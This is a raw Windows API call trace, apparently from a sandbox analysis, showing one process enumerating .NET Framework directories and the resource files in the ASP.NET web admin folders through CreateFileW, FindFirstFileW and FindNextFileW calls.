	[0087.478] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.491] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\en-US" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows communication foundation\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.491] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\en-US\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x225beddb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.493] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.493] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.493] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.493] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.493] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.493] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\*", lpFindFileData=0x126c17ec | out: lpFindFileData=0x126c17ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.498] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.498] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\*", lpFindFileData=0x126c1918 | out: lpFindFileData=0x126c1918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x920f1acf, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x920f1acf, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.502] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.502] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x811d4ff1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x811d4ff1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.506] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\msbuild"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.506] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MSBuild\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x811d4ff1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x811d4ff1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.510] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\sql"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.510] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.511] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\sql\\en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.511] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x811aee91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x811aee91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.513] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Windows Presentation Foundation" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\windows presentation foundation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.513] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Windows Presentation Foundation\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.515] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.515] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\*", lpFindFileData=0x126c1918 | out: lpFindFileData=0x126c1918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89f82540, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd0be0600, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xd0be0600, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.601] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.601] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a3f8e80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x59386820, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x59386820, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.605] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.605] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xd5c807c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd5c807c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.609] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.609] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f09dec0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.613] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.613] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\*", lpFindFileData=0x126c17ec | out: lpFindFileData=0x126c17ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f09dec0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.621] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.621] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6b614580, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b614580, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.627] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.627] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ed31f20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ed31f20, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.628] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_globalresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.628] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ed31f20, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.628] SetEvent (hEvent=0x8c) returned 1
	[0087.629] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0087.629] SetEvent (hEvent=0x8c) returned 1
	[0087.629] SetEvent (hEvent=0x78) returned 1
	[0087.629] SetEvent (hEvent=0x80) returned 1
	[0087.629] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0087.629] SetEvent (hEvent=0x80) returned 1
	[0087.632] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.632] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebdb2c0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f2d9360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f2d9360, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.641] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.641] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.654] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\providers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.655] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb8f000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f005940, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.658] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\providers\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.658] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\*", lpFindFileData=0x124e77ec | out: lpFindFileData=0x124e77ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb8f000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f005940, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.659] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb8f000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f005940, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.659] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eb8f000, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x617, dwReserved0=0x0, dwReserved1=0x0, cFileName="chooseProviderManagement.aspx.resx", cAlternateFileName="CHOOSE~1.RES")) returned 1
	[0087.659] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x584, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageconsolidatedProviders.aspx.resx", cAlternateFileName="MANAGE~1.RES")) returned 1
	[0087.659] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x910, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageProviders.aspx.resx", cAlternateFileName="MANAGE~2.RES")) returned 1
	[0087.660] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="providerList.ascx.resx", cAlternateFileName="PROVID~1.RES")) returned 1
	[0087.660] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
